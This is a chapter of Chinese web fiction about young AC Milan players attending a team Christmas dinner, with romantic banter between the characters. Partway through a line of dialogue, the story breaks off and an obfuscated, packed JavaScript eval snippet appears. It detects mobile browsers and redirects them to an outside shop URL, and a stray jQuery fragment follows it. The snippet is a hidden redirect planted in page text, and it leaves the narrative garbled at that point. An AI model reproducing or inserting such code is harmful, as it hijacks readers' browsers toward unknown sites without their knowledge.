在祖卡拉第十一次发出尖叫后,贺辰再也忍不了了。
他摘下耳机,意有所指地说:“我记得某人说过,他只想体验浪漫邂逅的感觉。”
“是啊,我确实体验到了啊。”
“那你现在在干什么?”
“谈恋爱啊。”
贺辰话里有话,可祖卡拉没听懂。对待他这样的单细胞生物,就应该有话直说,一点弯都不能拐。
“怎么发展到谈恋爱这一步了呢?”贺辰想不通。
祖卡拉不乐意了。他嚷嚷道:“谈恋爱怎么了?我又没有玩弄谁的感情。而且有两件事希望你搞清楚。”
“什么事?”
“第一,我成年了。”祖卡拉郑重地说,他甚至板着脸,还竖起了一根手指。以防贺辰插话,他用最快的语速说:“第二她也成年了现在在米兰大学读金融。所以你没理由管我,Mommy。”
贺辰摸摸手臂,恶心出一身鸡皮疙瘩。
“咦,我要是有你这样的儿子,我一定抱着他跳楼。”
“你是不是没事干骂我解闷?”
“我只是单纯想知道你们是怎么发展成恋爱关系的。毕竟,如果有一个人在我面前差点摔倒,我绝对不会……”
祖卡拉打断他:“别说的这么绝对。当真爱降临的时候,你顾不上是在咖啡厅还是垃圾场。”
贺辰边摇头边说:“太恶心了。”
他不再理会祖卡拉,继续看罗马和米兰的比赛。这是米兰在圣诞节前的最后一场比赛,客场对阵罗马,也是秦昶荣获金童奖后的首场比赛。
金童奖的评选对象为年龄在21岁以下效力于欧洲俱乐部的球员,由《都灵体育报》公布获奖者。
升入一线队以来,秦昶大部分时间是替补中锋、首发边锋,然而,截至目前,他已经打进9粒进球,尤其是在米兰德比上打进的绝杀球,使他备受瞩目。
“嘿贺辰,你看我比赛了吗?”
“看了看了,瞧把你得意的。我是先恭喜你收获第10粒进球,还是先恭喜米兰赢下罗马?”
秦昶没有说话。
他那边热闹极了,人们大喊大叫,敲锣打鼓,制造各种动静庆祝这场胜利。
过了一会儿,秦昶那边安静了一些,贺辰猜他在大巴车上。
“贺辰,几天后的圣诞晚宴,你能陪我参加吗?”
“诶,为什么?你们强制伴侣,呃,同伴陪同?”
“差不多吧。”秦昶有些心虚。
“这样啊……”贺辰想了想,说,“可是我想在家学做小饼干。”
“我去学,学会了做给你吃。现在可以陪我出席晚宴了吗?”
“什么晚宴?我要去我要去带我去!”祖卡拉凑过来,举着手兴冲冲地说。
贺辰翻了个白眼。
自从成为祖卡拉的室友,他翻白眼的次数骤增。
“请问你以什么身份加入我们的生态位?”
祖卡拉不假思索地说:“宠物!”
秦昶、贺辰都陷入沉默。
贺辰艰难开口:“不我们不玩这个。”
“那儿子?”
贺辰无语了。
他真想把这家伙的脑袋撬开看看里面是什么结构。
“你想去?可以。晚宴要求穿正装,因为你是不请自来,所以我只负责贺辰的西装,你的你要自己解决。”
祖卡拉瞄向衣柜,那里面有他参加姐姐婚礼时穿的西装。
“想都别想。”秦昶看穿祖卡拉的心思,“新主席是阿玛尼,你不能随便穿一件衣服就去参加人家的活动,小心被卖了。”
祖卡拉蔫巴巴地说:“不去就不去,谁稀罕。……秦昶,我再也不是你最好的朋友了吗?!”
“怎么能这么说呢?我们不是约好了冬休一起去你家玩吗?不带贺辰。”
“呜呜呜,你们怎么能丢下我呀。”贺辰适时做出哭泣的动作。
关键时刻还得看秦昶。
凭他跟祖卡拉多年的友谊,拿捏祖卡拉简直轻而易举。
贺辰感慨:“还得是你,深谙祖卡拉的使用方法。”
“把他当小孩儿哄就行。好了,轮到你了,你有阿玛尼西装吗?”
贺辰当然没有。
不过,他没想到秦昶的解决方法是带他买一套。
“这是不是有些太夸张了?”
“这才哪到哪。如果早点定下来,我倾向于高级定制。”
“……我感觉自己被包养了。”
“如果花钱就能让天才中场给我助攻,那我愿意把所有钱都给你。”
贺辰握住秦昶伸过来的手指,用了几分力气往旁边扳,说道:“少爷这辈子吃过最大的苦也就是足球了。”
“别这么说,贝卢斯科尼出售米兰那段时间,我还是有点担心的。”
“有点。”贺辰重读。
“人对未知的事情总是充满不安。”
“看样子,新主席很不错?”
秦昶笑了笑:“这么说吧,阿玛尼一直有收购米兰的想法,新主席奥兰多·阿玛尼是忠实的罗森内里,多方控股的模式也很合理。虽然不能豪掷几个亿,但不会乱作为,什么都不干比瞎胡乱干影响小多了。”
“所以是踩刹车的?”
“目前来看是的。”秦昶看看车窗外交错闪烁的摄像灯,转头看向贺辰,“赏个脸?”
“我的荣幸。”
一位是风头正盛的金童,一位是天资聪慧的门徒,外形同样吸引眼球,两张风格不同但高颜值的脸,足以使长枪短炮对准他们。
快门如持续的雷鸣,闪光灯织成密不透风的电网,这一秒是炫目的星河,下一秒便坠入浓稠的黑暗。
贺辰扯扯秦昶的袖子,压低声音问:“告诉我,你们是不是有什么赌约?比如不能单独出席之类的。”
“恰恰相反。我们之中只有爱德有青梅陪同,这家伙得意忘形,说谁能找到伴,就带谁一起去利□□奥滑雪。”
“你不是和祖卡拉约好了……”
秦昶竖起食指,示意贺辰噤声。
在他们前面接受采访的俊男靓女,恰巧是贝尔纳迪和他的女友,排球运动员维罗妮卡·扎伊采娃。
“嗨,爱德,我带贺辰来了。”
采访是内部采访,大家都比较随意,简单打过招呼后,贝尔纳迪抬手揉揉贺辰的头发。
“我的发型!”贺辰假模假式抱怨。
“抱歉,这不是很久没见了嘛,我们都很想你和祖卡拉。你知道我们的赌约吗?”
“我跟他说了。”秦昶抢先说,“爱德,把我的名额给贺辰吧,我和祖卡拉约好了假期去西西里岛。”
“你也玩不腻。没问题,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17902495|208974||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
等我们商量好就把集合地点告诉你。秦,贺,里面见。”
“一会儿见,阿多尼斯。”
贺辰眨眨眼:“阿多尼斯?我?”
“反正不可能是我。”秦昶余光瞥见洛伦佐走来,“或许是洛伦佐。嗨,洛伦佐,一个人来的?”
“两个。”
秦昶愣了愣,左看看,右看看,怎么看怎么只有洛伦佐一个人。
在所有人迷茫的目光中,洛伦佐不慌不忙举起手,让模样不甚好看的猴子跟大家打招呼。
“……你管这叫‘伴’?!”
“这是小猴子手偶,我的童年玩伴。怎么,你有意见?”洛伦佐白了秦昶一眼,将矛头对准一旁窃笑的记者,“还有你,你笑什么?你看我这种穷人家的孩子的热闹?”
好大的帽子,差点把记者压死。
秦昶心有戚戚然。
贺辰凑近:“你好呀小猴子。”
“你好,贺辰,很高兴认识你。”小猴子挥挥手,向贺辰问好。
“我也很高兴认识你。怎么是你陪他来的呀?”
“哥哥不方便,妹妹在上学,我怕洛洛孤单,所以就陪他来了。”
“真棒,你是最惹人爱的小猴子。”
“好了可以了,两个人加起来三十多岁了,还玩这么幼稚的游戏。走了走了,别挡着别人的路。”
秦昶拽着贺辰往宴会厅走。
贺辰拗不过他,只能回过头,依依不舍地朝小猴子手偶挥手道别。可直到落座,贺辰还在想那只丑丑的小猴子。
秦昶板着脸说:“贺辰,需要我提醒那只是一个手偶吗?”
贺辰盯着他看了一会儿,得出一个诡异的结论。
“你吃醋了。”
没等秦昶反驳,贺辰就给出了一个更加诡异的解决办法。
他摸摸秦昶的头,一本正经地说:“别吃小猴子的醋,因为你也很棒,你是最惹人爱的小人类。”
桑托罗喷出一口汽水。
秦昶瞪他,他视若无睹。
说实话,他用尽全身力气才控制住自己不笑出来,按这么说,秦昶还应该感谢他。
想到这,他莫名多了两分底气。
“桑托罗,你是和谁一起来的?”
“雨果家的小孩。”
雨果·范·达默,比利时中卫,有一个法语区的名,一个弗拉芒语(荷兰语)区的姓氏,却在德语区出生、长大。
他家有一个5岁的女儿,桑托罗凭借照顾妹妹的经验,迅速俘获小姑娘的芳心。
贝尔纳迪和扎伊采娃手牵着手走过来。然后是洛伦佐和他的小猴子,他还慷慨地把小猴子借给贺辰玩。
贺辰拿它挑衅秦昶,忽然觉得有不怀好意的目光落在自己身上,一扭头,又消失的无影无踪了。
秦昶趁机摘下小猴子,丢给洛伦佐。
最后是里奇,他和诺瓦克一起进来的。
弗拉基米尔·诺瓦克,20岁,克罗地亚中场,以800万的价格从萨格勒布迪纳摩转会AC米兰。他是一个高冷的帅小伙,活像日漫男二。
“谢谢你,诺瓦克,”
“过家家结束了?好的,再见。”
诺瓦克走得干脆,里奇挠挠脸颊,替他打圆场,让几个朋友别往心里去。
贺辰平静地说:“没关系。这才哪到哪。”